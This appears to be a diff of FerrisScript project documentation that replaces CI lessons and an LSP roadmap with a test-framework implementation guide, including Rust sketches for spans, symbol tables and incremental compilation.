-## 🎯 Manual Steps Required
-
-### 1. Adjust SonarCloud Quality Gate (UI)
-
-Navigate to: https://sonarcloud.io/project/quality_gates?id=dev-parkins_FerrisScript
-
-**Required Changes**:
-
-- Coverage on New Code: **Set to 0% or "Not Required"**
-  - Reason: Rust not measurable in SonarCloud
-- Duplication on New Code: **Increase to 10%**
-  - Reason: More realistic for alpha stage
-- Keep: Security issues, code smells, bugs (these still apply)
-
-### 2. Verify Next Workflow Run
-
-After pushing these changes:
-
-1. Check workflow run: https://github.com/dev-parkins/FerrisScript/actions
-2. Verify SonarQube job:
-   - Only analyzes TypeScript/Markdown
-   - Does NOT analyze Rust files
-   - Quality gate passes (if thresholds adjusted)
-3. Verify Codecov:
-   - Still shows 64.54% (unchanged)
-   - Rust coverage working correctly
-

-## 💡 Key Learnings
-
-### Technical Learnings
-
-1. **Always verify tool language support FIRST**
-   - Lesson: Check if tool supports language before attempting integration
-   - Impact: Saved hours of troubleshooting if checked initially
-
-2. **Workflow job dependencies matter**
-   - Lesson: Parallel jobs can cause timing issues when artifacts needed
-   - Solution: Use `needs:` for sequential execution when dependencies exist
-
-3. **Multiple coverage tools is acceptable**
-   - Lesson: Different tools excel at different languages
-   - Best practice: Use Codecov for Rust, SonarCloud for TypeScript/Java/etc.
-
-4. **Quality gates should match project capabilities**
-   - Lesson: Don't fail builds on unmeasurable metrics
-   - Solution: Adjust thresholds to reality (0% coverage if language unsupported)
-
-### Process Learnings
-
-1. **User observations are critical clues**
-   - Quote: "reporting 0% on vscode... not reporting anything on rust files"
-   - This was the KEY insight that led to discovering the language support issue
-
-2. **Documentation during investigation pays off**
-   - Created 5 comprehensive documents
-   - Future developers will understand the "why" not just the "what"
-
-3. **Incremental problem solving**
-   - Phase 1: Tried basic integration
-   - Phase 2: Ruled out workflow duplication
-   - Phase 3: Fixed timing issue
-   - Phase 4: Discovered root cause
-   - Each phase narrowed the problem space

-
-**Alignment with v0.1.0 Strategy**: **HIGHEST PRIORITY** feature in reprioritized roadmap. Transforms FerrisScript into a professional development language with modern IDE support.
-
-**This is the most critical release** toward v0.1.0, as it delivers the #1 priority: first-class editor integration via LSP.
-
----
-
-## 📦 Critical Priority Deliverables
-
-### 1. LSP Server Implementation 🔥🔥🔥
-
-**Status**: Not Started  
-**Priority**: 🔥 **CRITICAL** (Highest priority in v0.1.0 roadmap)
-
-**Rationale**: Makes FerrisScript a real development language. Enables professional IDE experience that attracts developers and accelerates adoption.
-
-**Scope**:
-
-#### Phase 1: Basic LSP Server (Week 1-2)
-
-- [ ] Create LSP server project structure
-- [ ] Implement LSP protocol handler using `tower-lsp` crate
-- [ ] Set up server initialization and capabilities
-- [ ] Implement text document synchronization
-- [ ] Handle document open/close/change events
-- [ ] Basic server logging and debugging
-
-#### Phase 2: Syntax Checking (Week 2)
-
-- [ ] Integrate FerrisScript compiler:
-  - Lexer integration
-  - Parser integration
-  - Type checker integration
-- [ ] Real-time syntax error detection
-- [ ] Publish diagnostics to client
-- [ ] Map compiler errors to LSP diagnostic format
-- [ ] Handle incremental document changes
-
-**Example**:
-
-```rust
-// User types this in editor:
-let x: i32 = "hello";
-
-// LSP immediately shows:
-Error[E203]: Type mismatch
-  --> example.ferris:1:14
-   |
- 1 | let x: i32 = "hello";
-   |              ^^^^^^^ expected i32, found String
-```
-
-#### Phase 3: Autocomplete (Week 3)
-
-- [ ] Implement completion provider
-- [ ] Complete keywords:
-  - `let`, `let mut`, `fn`, `if`, `else`, `while`, `return`
-- [ ] Complete types:
-  - `i32`, `f32`, `bool`, `String`, `Vector2`, `Node`, `Color`, etc.
-- [ ] Complete built-in functions:
-  - `print`, `get_node`, `get_parent`, `has_node`, `emit_signal`
-- [ ] Complete user-defined variables
-- [ ] Complete user-defined functions
-- [ ] Context-aware completion (scope-based)
-- [ ] Completion snippets with placeholders
-
-**Example**:
-
-```rust
-// User types: "fn "
-// LSP suggests:
-fn _ready() {
-    $0
-}
-
-fn _process(delta: f32) {
-    $0
-}
-
-fn ${1:name}(${2:params}) {
-    $0
-}
-```
-
-#### Phase 4: Go to Definition (Week 3-4)
-
-- [ ] Implement definition provider
-- [ ] Jump to variable definition
-- [ ] Jump to function definition
-- [ ] Jump to type definition
-- [ ] Cross-file navigation (if applicable)
-- [ ] Definition preview on hover
-
-#### Phase 5: Hover Documentation (Week 4)
-
-- [ ] Implement hover provider
-- [ ] Show type information for variables:
-
-  ```
-  // Hovering over 'x':
-  let x: i32 = 42;
-  
-  // Shows: (variable) x: i32
-  ```
-
-- [ ] Show function signatures:
-
-  ```
-  // Hovering over 'print':
-  print("Hello");
-  
-  // Shows: fn print(value: String)
-  ```
-
-- [ ] Show documentation for built-in types
-- [ ] Show documentation for Godot types

----
-
-## 🚫 Out of Scope
-
-The following are explicitly **NOT** included in v0.0.5:
-
-- ❌ Advanced LSP features (rename, find references, etc.)
-- ❌ Debugger integration
-- ❌ New language features (arrays, loops, match)
-- ❌ Hot reload
-- ❌ Multi-file projects (initial focus on single file)
-- ❌ Custom LSP extensions
-
-These features are deferred to future versions or v0.1.0.
-
----
-
-## � Deferred from v0.0.3
-
-The following items were deferred from v0.0.3 release and are now prioritized for v0.0.5:
-
-### 1. LSP Infrastructure - Automated Testing Framework
-
-**Status**: Deferred from Phase 4 (VS Code Extension)  
-**Priority**: High  
-**Estimated Effort**: 2-3 days
-
-**What It Is**:
-Automated testing infrastructure for the FerrisScript VS Code extension, including unit tests for extension logic and integration tests for LSP features.
-
-**Why Deferred**:
-Requires LSP server implementation to be functional first. Testing LSP features requires end-to-end integration with language server. Deferring to v0.0.5 ensures we test the complete LSP stack together.
-
-**Current State**: Extension has manual testing only. No automated tests for:
-
-- Extension activation
-- Language server client lifecycle
-- Syntax highlighting integration
-- Command registration
-- Configuration handling
-
-**Implementation Notes**:
-
-```typescript
-// Example test structure for extension testing
-import * as vscode from 'vscode';
-import * as assert from 'assert';
-import { getDocUri, activate } from './helper';
-
-suite('Extension Test Suite', () => {
-    test('Extension should activate on .ferris files', async () => {
-        const docUri = getDocUri('test.ferris');
-        await activate(docUri);
-        
-        // Verify extension is active
-        const ext = vscode.extensions.getExtension('ferrisscript.ferrisscript');
-        assert.ok(ext);
-        assert.ok(ext.isActive);
-    });
-    
-    test('LSP client should start', async () => {
-        const docUri = getDocUri('test.ferris');
-        await activate(docUri);
-        
-        // Verify language client is running
-        // Test will be implemented with LSP server
-    });
-});
-
-// Integration tests for LSP features
-suite('LSP Integration Tests', () => {
-    test('Should provide diagnostics for syntax errors', async () => {
-        const docUri = getDocUri('syntax_error.ferris');
-        await activate(docUri);
-        
-        const diagnostics = vscode.languages.getDiagnostics(docUri);
-        assert.ok(diagnostics.length > 0);
-        assert.strictEqual(diagnostics[0].severity, vscode.DiagnosticSeverity.Error);
-    });
-    
-    test('Should provide completions for keywords', async () => {
-        // Test autocomplete functionality
-    });
-    
-    test('Should provide hover information', async () => {
-        // Test hover provider
-    });
-});

-**Status**: Deferred from Phase 4/5  
-**Priority**: Medium  
-**Estimated Effort**: 1-2 days
-
-**What It Is**:
-VS Code extension configuration options for LSP behavior, including:
-
-- Enable/disable real-time diagnostics
-- Configure diagnostic severity levels
-- Adjust completion trigger characters
-- Control hover delay
-- LSP server logging levels
-
-**Why Deferred**:
-Configuration makes sense only after LSP features are implemented and users have preferences to configure. v0.0.3 focused on delivering core features; v0.0.5 adds polish.
-
-**Current State**: Extension has minimal configuration:
-
-- Syntax highlighting theme (handled by VS Code)
-- No LSP-specific settings
-
-**Implementation Notes**:

-## �📝 Additional Tasks from v0.0.2 Deferral
-
-The following items were deferred from v0.0.2 and align with v0.0.5's focus on testing maturity, CI enhancements, and community growth:
-
-### Type System Improvements
-
-**Priority**: Medium
-
-- [ ] **Type inference for return types** - Infer function return types when not explicitly declared
-- [ ] **Type coercion verification** - Ensure implicit type conversions are safe and correct
-
-**Rationale**: Enhance type system robustness. Complements LSP type checking features.
-
-**Estimated Effort**: 2-3 days
-
----
-
-### Testing & Quality Assurance
-
-**Priority**: High
-
-- [ ] **80%+ test coverage goal** - Improve code coverage from current 70-75% to 80%+:
-  - Add tests for error recovery paths
-  - Add tests for edge cases
-  - Add tests for LSP features
-  - Update coverage reports
-
-- [ ] **Integration tests (full pipeline)** - Test complete compilation and execution workflows:
-  - Lexer → Parser → Type Checker → Runtime
-  - LSP features end-to-end
-  - VS Code extension integration
-  - Error handling across components
-
-**Rationale**: After LSP implementation, more components to test. Higher coverage ensures reliability.
-
-**Estimated Effort**: 3-4 days
-
----
-
-### CI/CD Enhancements
-
-**Priority**: Medium
-
-- [ ] **Benchmark tracking in CI** - Automate performance monitoring:
-  - Track benchmark results over time
-  - Detect performance regressions
-  - Generate performance trend reports
-  - Alert on significant changes
-
-- [ ] **Release automation improvements** - Streamline release process:
-  - Automated version bumping
-  - Automated changelog generation
-  - Automated GitHub release creation
-  - Automated VS Code extension publishing
-  - Binary artifact uploading
-
-**Rationale**: After multiple releases (v0.0.2-v0.0.5), patterns established for automation. Reduces manual work.
-
-**Estimated Effort**: 3-4 days
-
----
-
-### Community & Documentation
-
-**Priority**: Low-Medium
-
-- [ ] **GitHub Wiki** - Create wiki for community content:
-  - Tutorials
-  - Guides
-  - FAQs
-  - Community examples
-  - Tips and tricks
-
-- [ ] **Label automation** - Automate issue/PR labeling:
-  - Auto-label by file path (docs/, src/, examples/)
-  - Auto-label by keywords (bug, feature, breaking)
-  - Auto-label by size (small, medium, large)
-  - Manual label patterns established first
-
-**Rationale**: Community size may justify wiki. Label automation after manual patterns established.
-
-**Estimated Effort**: 2-3 days
-
----
-
-**Note**: These deferred items are supplementary to the critical LSP deliverable. Prioritize LSP implementation first. Type system improvements enhance LSP functionality. Testing and CI improvements ensure quality as project grows.

-## 🔮 Additional Opportunities from v0.0.3 (Workstream Prompt Improvements)
-
-### Carried Over from v0.0.4
-
-**1. Automated Pre-Flight Check Script** (1 day) - **Medium Priority**
-
-**Scope**: `scripts/pre-flight.sh` and `.ps1` to automate manual pre-flight checks
-
-**Benefits**: Quality-of-life improvement, reduces repetitive work, consistent check execution
-
-**Rationale**: Can be combined with other dev tooling work in v0.0.5
-
-**Blocker**: No, manual works fine
-
----
-
-**2. LEARNINGS.md Template Generator** (4-6 hours) - **Medium Priority**
-
-**Scope**: `scripts/generate-learnings-entry.ps1` to create phase entry skeleton
-
-**Benefits**: After LEARNINGS.md template stabilizes (several versions using it), automation reduces friction
-
-**Rationale**: Good fit for v0.0.5 after template has been used across multiple versions
-
-**Blocker**: No, manual template copying works
-
----
-
-### New Opportunities
-
-**3. LSP Integration for Error Code Quick Fixes** - **Consider During LSP Implementation**
-
-**Discovery from Phase 1 (Error Codes)**: Each error code has structured information (description, example, fix) that could power IDE quick fixes.
-
-**Opportunity**: When implementing LSP support:
-
-- Use error code descriptions for hover tooltips
-- Generate quick fixes from "How to Fix" sections
-- Link to ERROR_CODES.md documentation from IDE
-
-**Benefit**: Significantly improves developer experience with actionable error messages
-
-**Implementation**: Integrate during Phase 4-5 of LSP implementation
-
----
-
-**Last Updated**: October 7, 2025  
-**Status**: 🟡 Planning  
-**Previous Version**: v0.0.4 (Godot API Expansion)  
-**Next Version**: v0.0.6 (Language Features - Optional)

+# Consolidated Test Framework - Implementation Guide
+
+**Version**: 0.0.5  
+**Status**: Planning (Updated with LSP Integration)  
+**Date**: October 13, 2025  
+**Priority**: High  
+**Dependencies**: Test harness crate, GDExtension runtime, LSP server (v0.0.5)  
+
+## Executive Summary
+
+This document provides a **production-ready implementation plan** for consolidating FerrisScript's testing infrastructure. It combines the strategic vision from the original proposal with battle-tested implementations that address critical cross-platform issues.
+
+### 🆕 Critical Updates from Feedback Review
+
+This document has been **updated to include critical gaps** identified in the feedback analysis:
+
+1. **LSP Integration** (NEW Phase 2.5) 🔴 CRITICAL
+   - Code lens test status indicators (✅/❌/▶️)
+   - "Run Test" command from editor
+   - Real-time test result updates
+   - **Impact**: Essential for v0.0.5 editor experience
+   - **Timeline Impact**: +1-2 weeks
+
+2. **Test Assertions Validation** 🟡 IMPORTANT
+   - Runtime assertion checking framework
+   - `FerrisScriptRunner.get_variable()` API
+   - `FerrisScriptRunner.get_emitted_signals()` API
+   - **Impact**: Accurate test results vs. false positives
+
+3. **Test Timeouts** 🟡 IMPORTANT
+   - Configurable timeout per test (default: 10s)
+   - Prevents CI hangs from infinite loops
+   - **Impact**: Reliable CI pipeline
+
+4. **Test Filtering** 🟢 NICE-TO-HAVE
+   - Filter by test name pattern
+   - Filter by category (unit/integration/runtime)
+   - **Impact**: Faster iteration during development
+
+5. **JSON Output** 🟢 NICE-TO-HAVE
+   - Machine-readable CI results
+   - Test badges generation
+   - **Impact**: Better CI reporting
+
+**Updated Timeline**: **6-7 weeks** (was 3 weeks) due to:
+
+- LSP integration requirements (+1-2 weeks)
+- Compiler prerequisites: spans + symbol table (+1 week)
+- Incremental compilation support (+2-3 weeks)
+
+### Key Improvements Over Current System
+
+| Issue | Current State | New Approach | Impact |
+|-------|--------------|--------------|---------|
+| **Duplication** | `.ferris` files in `/examples` AND `/godot_test/scripts` | Single source in `/examples` | -50% maintenance burden |
+| **Synchronization** | Manual file copying | Godot reads directly from `/examples` | Zero-effort updates |
+| **Test Discovery** | Manual test registration | Automated metadata scanning | 100% test coverage |
+| **Windows Support** | Broken (symlink issues) | FileAccess-based approach | ✅ Cross-platform |
+| **CI Integration** | Fragile | Exit codes + JSON reports | ✅ Reliable automation |
+| **LSP Integration** | Not supported | Real-time test status + "Run Test" code lenses | ✅ Editor integration |
+| **Test Assertions** | Not validated | Runtime assertion validation framework | ✅ Accurate test results |
+| **Test Filtering** | Run all or nothing | Filter by name/category via env vars | ✅ Fast iteration |

+
+## Implementation Phases
+
+### Phase 0: Compiler Prerequisites (2-3 weeks) 🆕 BLOCKING
+
+**CRITICAL**: These compiler changes must be completed before any LSP integration work can begin.
+
+#### 0.1 Add Source Spans to AST (Week 1)
+
+**Goal**: Every AST node must track its source location for LSP error reporting.
+
+**Tasks**:
+
+1. Define `Span` struct:
+
+```rust
+// crates/compiler/src/span.rs
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub struct Span {
+    pub start: Position,
+    pub end: Position,
+}
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub struct Position {
+    pub line: u32,
+    pub column: u32,
+    pub offset: usize,  // Byte offset in file
+}
+
+impl Span {
+    pub fn new(start: Position, end: Position) -> Self {
+        Self { start, end }
+    }
+    
+    pub fn merge(&self, other: &Span) -> Span {
+        Span {
+            start: self.start,
+            end: other.end,
+        }
+    }
+}
+```
+
+2. Add `span()` method to all AST nodes:
+
+```rust
+// crates/compiler/src/ast.rs (BEFORE)
+pub enum Expr {
+    Literal(Literal),
+    Variable(String),
+    Binary { left: Box<Expr>, op: BinOp, right: Box<Expr> },
+}
+
+// crates/compiler/src/ast.rs (AFTER)
+pub enum Expr {
+    Literal { value: Literal, span: Span },
+    Variable { name: String, span: Span },
+    Binary { 
+        left: Box<Expr>, 
+        op: BinOp, 
+        right: Box<Expr>,
+        span: Span,
+    },
+}
+
+impl Expr {
+    pub fn span(&self) -> Span {
+        match self {
+            Expr::Literal { span, .. } => *span,
+            Expr::Variable { span, .. } => *span,
+            Expr::Binary { span, .. } => *span,
+        }
+    }
+}
+```
+
+3. Update Parser to track spans:
+
+```rust
+// crates/compiler/src/parser.rs
+impl Parser {
+    fn parse_primary(&mut self) -> Result<Expr, ParseError> {
+        let start = self.current_token().span.start;
+        
+        let expr = match self.current_token().kind {
+            TokenKind::Number(n) => {
+                let end = self.current_token().span.end;
+                self.advance();
+                Expr::Literal { 
+                    value: Literal::Number(n),
+                    span: Span::new(start, end),
+                }
+            }
+            // ... other cases
+        };
+        
+        Ok(expr)
+    }
+}
+```
+
+4. Update all tests to include spans:
+
+```rust
+// Before
+assert_eq!(expr, Expr::Literal(Literal::Number(42)));
+
+// After
+assert_eq!(
+    expr,
+    Expr::Literal {
+        value: Literal::Number(42),
+        span: Span::new(Position::new(1, 0, 0), Position::new(1, 2, 2))
+    }
+);
+```
+
+**Deliverables**:
+
+- [ ] `Span` and `Position` structs defined
+- [ ] All AST nodes have `span` field
+- [ ] Parser tracks spans from tokens
+- [ ] All tests updated with span assertions
+- [ ] Error messages include span information
+
+**Time Estimate**: 5-7 days
+
+#### 0.2 Extract Symbol Table from Type Checker (Week 2)
+
+**Goal**: Make symbol table accessible to LSP for go-to-definition and autocomplete.
+
+**Tasks**:
+
+1. Define `SymbolTable` struct:
+
+```rust
+// crates/compiler/src/symbol_table.rs
+use std::collections::HashMap;
+
+pub struct SymbolTable {
+    /// Map symbol name → symbol info
+    symbols: HashMap<String, Symbol>,
+    
+    /// Scopes (for nested symbols)
+    scopes: Vec<Scope>,
+}
+
+#[derive(Debug, Clone)]
+pub struct Symbol {
+    pub name: String,
+    pub kind: SymbolKind,
+    pub ty: Type,
+    pub span: Span,
+    pub scope_id: usize,
+}
+
+#[derive(Debug, Clone, PartialEq)]
+pub enum SymbolKind {
+    Variable,
+    Function,
+    Parameter,
+    Constant,
+}
+
+#[derive(Debug, Clone)]
+pub struct Scope {
+    pub id: usize,
+    pub parent: Option<usize>,
+    pub symbols: Vec<String>,  // Symbol names in this scope
+}
+
+impl SymbolTable {
+    pub fn new() -> Self {
+        Self {
+            symbols: HashMap::new(),
+            scopes: vec![Scope { id: 0, parent: None, symbols: vec![] }],
+        }
+    }
+    
+    pub fn insert(&mut self, symbol: Symbol) {
+        self.symbols.insert(symbol.name.clone(), symbol);
+    }
+    
+    pub fn lookup(&self, name: &str) -> Option<&Symbol> {
+        self.symbols.get(name)
+    }
+    
+    pub fn lookup_in_scope(&self, name: &str, scope_id: usize) -> Option<&Symbol> {
+        // Walk up scope chain to find symbol
+        let mut current_scope = Some(scope_id);
+        
+        while let Some(id) = current_scope {
+            let scope = &self.scopes[id];
+            
+            if scope.symbols.contains(&name.to_string()) {
+                return self.symbols.get(name);
+            }
+            
+            current_scope = scope.parent;
+        }
+        
+        None
+    }
+    
+    pub fn all_symbols(&self) -> impl Iterator<Item = &Symbol> {
+        self.symbols.values()
+    }
+    
+    pub fn symbols_in_scope(&self, scope_id: usize) -> Vec<&Symbol> {
+        let scope = &self.scopes[scope_id];
+        scope.symbols.iter()
+            .filter_map(|name| self.symbols.get(name))
+            .collect()
+    }
+}
+```
+
+2. Refactor `TypeChecker` to build symbol table:
+
+```rust
+// crates/compiler/src/type_checker.rs
+pub struct TypeChecker {
+    symbol_table: SymbolTable,
+    current_scope: usize,
+    errors: Vec<TypeError>,
+}
+
+impl TypeChecker {
+    pub fn check(ast: &Ast) -> Result<(Type, SymbolTable), Vec<TypeError>> {
+        let mut checker = TypeChecker {
+            symbol_table: SymbolTable::new(),
+            current_scope: 0,
+            errors: vec![],
+        };
+        
+        let ty = checker.check_program(ast);
+        
+        if checker.errors.is_empty() {
+            Ok((ty, checker.symbol_table))
+        } else {
+            Err(checker.errors)
+        }
+    }
+    
+    fn check_variable_decl(&mut self, name: &str, ty: &Type, span: Span) {
+        let symbol = Symbol {
+            name: name.to_string(),
+            kind: SymbolKind::Variable,
+            ty: ty.clone(),
+            span,
+            scope_id: self.current_scope,
+        };
+        
+        self.symbol_table.insert(symbol);
+    }
+}
+```
+
+3. Update compiler entry point:
+
+```rust
+// crates/compiler/src/lib.rs
+pub struct CompilationResult {
+    pub program: CompiledProgram,
+    pub symbol_table: SymbolTable,
+    pub diagnostics: Vec<Diagnostic>,
+}
+
+pub fn compile(source: &str) -> Result<CompilationResult, CompileError> {
+    // Lex
+    let tokens = lex(source)?;
+    
+    // Parse
+    let ast = parse(tokens)?;
+    
+    // Type check (returns symbol table)
+    let (ty, symbol_table) = type_check(&ast)?;
+    
+    // Code gen
+    let program = codegen(&ast, &symbol_table)?;
+    
+    Ok(CompilationResult {
+        program,
+        symbol_table,
+        diagnostics: vec![],
+    })
+}
+```
+
+**Deliverables**:
+
+- [ ] `SymbolTable` struct with public API
+- [ ] `TypeChecker` builds symbol table during type checking
+- [ ] `compile()` returns `SymbolTable`
+- [ ] Tests verify symbol table contents
+- [ ] Documentation for symbol table usage
+
+**Time Estimate**: 5-7 days
+
+#### 0.3 Add Incremental Compilation Support (Week 3)
+
+**Goal**: Cache parsed ASTs and type check only changed regions for fast LSP updates.
+
+**Tasks**:
+
+1. Design incremental compilation architecture:
+
+```rust
+// crates/compiler/src/incremental.rs
+use std::collections::HashMap;
+
+pub struct IncrementalCompiler {
+    /// Cache of parsed ASTs by file URI
+    ast_cache: HashMap<String, CachedAst>,
+    
+    /// Cache of symbol tables by file URI
+    symbol_cache: HashMap<String, SymbolTable>,
+    
+    /// Dependency graph (which files import which)
+    dependencies: DependencyGraph,
+}
+
+#[derive(Clone)]
+struct CachedAst {
+    ast: Ast,
+    source_hash: u64,  // Hash of source for invalidation
+    timestamp: SystemTime,
+}
+
+impl IncrementalCompiler {
+    pub fn new() -> Self {
+        Self {
+            ast_cache: HashMap::new(),
+            symbol_cache: HashMap::new(),
+            dependencies: DependencyGraph::new(),
+        }
+    }
+    
+    /// Compile a file, using cache when possible
+    pub fn compile_file(&mut self, uri: &str, source: &str) -> Result<CompilationResult, CompileError> {
+        let source_hash = hash_source(source);
+        
+        // Check if cached AST is still valid
+        if let Some(cached) = self.ast_cache.get(uri) {
+            if cached.source_hash == source_hash {
+                // Cache hit - reuse AST
+                return self.recheck_cached(uri, cached);
+            }
+        }
+        
+        // Cache miss - full compilation
+        self.compile_fresh(uri, source)
+    }
+    
+    fn compile_fresh(&mut self, uri: &str, source: &str) -> Result<CompilationResult, CompileError> {
+        // Full compilation path
+        let tokens = lex(source)?;
+        let ast = parse(tokens)?;
+        let (ty, symbol_table) = type_check(&ast)?;
+        let program = codegen(&ast, &symbol_table)?;
+        
+        // Cache results
+        self.ast_cache.insert(uri.to_string(), CachedAst {
+            ast: ast.clone(),
+            source_hash: hash_source(source),
+            timestamp: SystemTime::now(),
+        });
+        
+        self.symbol_cache.insert(uri.to_string(), symbol_table.clone());
+        
+        Ok(CompilationResult {
+            program,
+            symbol_table,
+            diagnostics: vec![],
+        })
+    }
+    
+    fn recheck_cached(&self, uri: &str, cached: &CachedAst) -> Result<CompilationResult, CompileError> {
+        // Reuse cached AST, only re-run type checker
+        let (ty, symbol_table) = type_check(&cached.ast)?;
+        let program = codegen(&cached.ast, &symbol_table)?;
+        
+        Ok(CompilationResult {
+            program,
+            symbol_table,
+            diagnostics: vec![],
+        })
+    }
+    
+    /// Invalidate cache for a file and its dependents
+    pub fn invalidate(&mut self, uri: &str) {
+        self.ast_cache.remove(uri);
+        self.symbol_cache.remove(uri);
+        
+        // Invalidate files that depend on this one
+        for dependent in self.dependencies.dependents_of(uri) {
+            self.invalidate(dependent);
+        }
+    }
+}
+
+fn hash_source(source: &str) -> u64 {
+    use std::hash::{Hash, Hasher};
+    use std::collections::hash_map::DefaultHasher;
+    
+    let mut hasher = DefaultHasher::new();
+    source.hash(&mut hasher);
+    hasher.finish()
+}
+```
+
+2. Implement dependency tracking:
+
+```rust
+// crates/compiler/src/dependency_graph.rs
+use std::collections::{HashMap, HashSet};
+
+pub struct DependencyGraph {
+    /// Map file URI → files it depends on
+    dependencies: HashMap<String, HashSet<String>>,
+    
+    /// Map file URI → files that depend on it
+    reverse_deps: HashMap<String, HashSet<String>>,
+}
+
+impl DependencyGraph {
+    pub fn new() -> Self {
+        Self {
+            dependencies: HashMap::new(),
+            reverse_deps: HashMap::new(),
+        }
+    }
+    
+    pub fn add_dependency(&mut self, from: &str, to: &str) {
+        self.dependencies
+            .entry(from.to_string())
+            .or_default()
+            .insert(to.to_string());
+        
+        self.reverse_deps
+            .entry(to.to_string())
+            .or_default()
+            .insert(from.to_string());
+    }
+    
+    pub fn dependents_of(&self, uri: &str) -> Vec<&str> {
+        self.reverse_deps
+            .get(uri)
+            .map(|deps| deps.iter().map(|s| s.as_str()).collect())
+            .unwrap_or_default()
+    }
+}
+```
+
+3. Integrate with LSP document manager:
+
+```rust
+// crates/lsp/src/document.rs
+use ferrisscript_compiler::IncrementalCompiler;
+
+pub struct DocumentManager {
+    compiler: IncrementalCompiler,
+    documents: HashMap<Url, Document>,
+}
+
+impl DocumentManager {
+    pub fn did_change(&mut self, uri: &Url, changes: Vec<TextDocumentContentChangeEvent>) {
+        // Apply changes to document
+        let doc = self.documents.get_mut(uri).unwrap();
+        doc.apply_changes(changes);
+        
+        // Recompile incrementally
+        match self.compiler.compile_file(&uri.to_string(), &doc.text) {
+            Ok(result) => {
+                doc.diagnostics = result.diagnostics;
+                doc.symbol_table = Some(result.symbol_table);
+            }
+            Err(e) => {
+                doc.diagnostics = vec![e.into()];
+            }
+        }
+    }
+}
+```
+
+**Deliverables**:
+
+- [ ] `IncrementalCompiler` with AST caching
+- [ ] `DependencyGraph` for cache invalidation
+- [ ] Source hash-based cache validation
+- [ ] Integration with LSP document manager
+- [ ] Performance benchmarks (cache hit rate, compilation speed)
+
+**Time Estimate**: 10-14 days
+
+**Total Phase 0 Time**: 2-3 weeks

+## Dependencies & Blockers
+
+### Critical Path (Blocking Dependencies)
+
+1. **Phase 0 (Compiler Prerequisites)** → **Phase 2.5 (LSP Integration)** 🆕 CRITICAL
+   - LSP requires spans for error reporting
+   - LSP requires symbol table for go-to-definition
+   - LSP requires incremental compilation for responsiveness
+   - **Status**: Must complete Phase 0 before starting Phase 2.5
+   - **Blocker**: Cannot implement LSP without compiler foundation
+   - **Timeline Impact**: +3 weeks (Weeks 1-3)
+
+2. **Phase 2.5 (LSP Integration)** → **Phase 3 (Godot Runner)**
+   - Test runner needs LSP test discovery API
+   - Test results must flow back to LSP cache
+   - **Status**: Phase 2.5 must complete before Phase 3
+   - **Blocker**: Test runner depends on LSP protocol
+
+### Hard Dependencies (Must Complete First)
+
+1. **FerrisScriptRunner Runtime State** (Phase 3)
+   - Must expose runtime variables (`get_variable()`)
+   - Must track signal emissions (`get_emitted_signals()`)
+   - **Status**: Needs implementation
+   - **Blocker**: Assertion validation depends on this
+
+2. **Godot 4.x Headless Mode**
+   - Must support `--headless` flag
+   - Must support `--quit-after` flag
+   - **Status**: Available in Godot 4.2+
+   - **Blocker**: CI tests require headless execution
+
+### Soft Dependencies (Nice to Have)
+
+1. **Test Coverage Tooling**
+   - Not required for v0.0.5
+   - Can defer to v0.0.6
+
+2. **Test Profiling/Benchmarking**
+   - Nice for identifying slow tests
+   - Not blocking v0.0.5 release
+
+2. **Performance Benchmarking**
+   - Not required for v0.0.5
+   - Can defer to v0.0.6
+

+
+```
+
+**Critical Path**: Test Framework → LSP Integration → VS Code Extension
+
+## Risk Mitigation
+
+### Risk 1: Compiler Refactoring Breaks Existing Tests 🔴 HIGH 🆕
+**Impact**: All existing tests fail after adding spans to AST  
+**Probability**: Very High  
+**Mitigation**:
+- Add spans incrementally (one AST node type at a time)
+- Use default/dummy spans for unmodified nodes during transition
+- Run full test suite after each AST change
+- Create migration script to bulk-update test assertions
+- **Timeline Buffer**: 1 week contingency built into Phase 0
+
+### Risk 2: Incremental Compilation Cache Bugs 🔴 HIGH 🆕
+**Impact**: LSP shows stale errors, incorrect completions  
+**Probability**: Medium  
+**Mitigation**:
+- Extensive unit tests for cache invalidation
+- Add cache validation mode (compare cached vs. fresh compilation)
+- Implement "force full recompilation" command in LSP
+- Monitor cache hit rate in production
+- **Fallback**: Disable caching if bugs persist (graceful degradation)
+
+### Risk 3: LSP Integration Complexity 🔴 HIGH
+**Impact**: Could delay entire v0.0.5 release  
+**Probability**: Medium  
+**Mitigation**: 
+- Complete Phase 0 (compiler prerequisites) FIRST (Weeks 1-3)
+- Define protocol extensions early (Week 5, Day 1)
+- Create mock LSP server for Phase 2.5 testing
+- Have fallback: Ship test framework without LSP, add in v0.0.6
+- **Timeline Buffer**: LSP work starts Week 5 (after compiler ready)
+
+### Risk 4: Godot FileAccess Limitations ✅ MITIGATED
+**Mitigation**: Tested in feedback phase - `FileAccess.open()` works with absolute paths on all platforms.
+
+### Risk 5: FerrisScriptRunner Missing API 🟡 MEDIUM
+**Impact**: Assertion validation won't work  
+**Probability**: Low  
+**Mitigation**: Add `compile_from_string()`, `get_variable()`, `get_emitted_signals()` methods in Phase 3 (straightforward additions).
+
+### Risk 6: Assertion DSL Complexity 🟡 MEDIUM
+**Impact**: Complex assertions may not validate correctly  
+**Probability**: Medium  
+**Mitigation**: 
+- Start with simple string matching
+- Phase 2: Add regex patterns
+- Phase 3: Full DSL parser (can defer to v0.0.6)
+
+### Risk 7: Performance Regression from Incremental Compilation Overhead 🟡 MEDIUM 🆕
+**Impact**: LSP slower than expected despite caching  
+**Probability**: Low  
+**Mitigation**:
+- Benchmark cache overhead vs. full compilation
+- Profile hot paths (hashing, cache lookups)
+- Implement cache size limits (LRU eviction)
+- **Target**: <100ms for typical edits (cache hit)
+
+### Risk 8: Timeline Overrun (7 weeks → 9+ weeks) 🟡 MEDIUM 🆕
+**Impact**: Delayed v0.0.5 release  
+**Probability**: Medium  
+**Mitigation**:
+- Phase 0 has highest risk (3 weeks of compiler changes)
+- Weekly check-ins to assess timeline
+- De-scope features if falling behind:
+  - Drop incremental compilation (fallback: always recompile)
+  - Drop LSP test integration (ship test framework only)
+- **Decision Point**: End of Week 3 (reassess timeline)
+
+### Risk 9: Performance Regression 🟢 LOW
+**Mitigation**: Benchmark current tests, ensure new system is faster (expected: 2x faster due to no file copying).
+
+### Risk 10: Breaking Existing Workflows 🟢 LOW
+**Mitigation**: 
+- Maintain backward compatibility during migration
+- Document migration path clearly
+- Provide helper scripts for bulk metadata addition
+
+## Maintenance Plan
+
+### Adding New Tests
+1. Create `.ferris` file in `/examples`
+2. Add metadata header
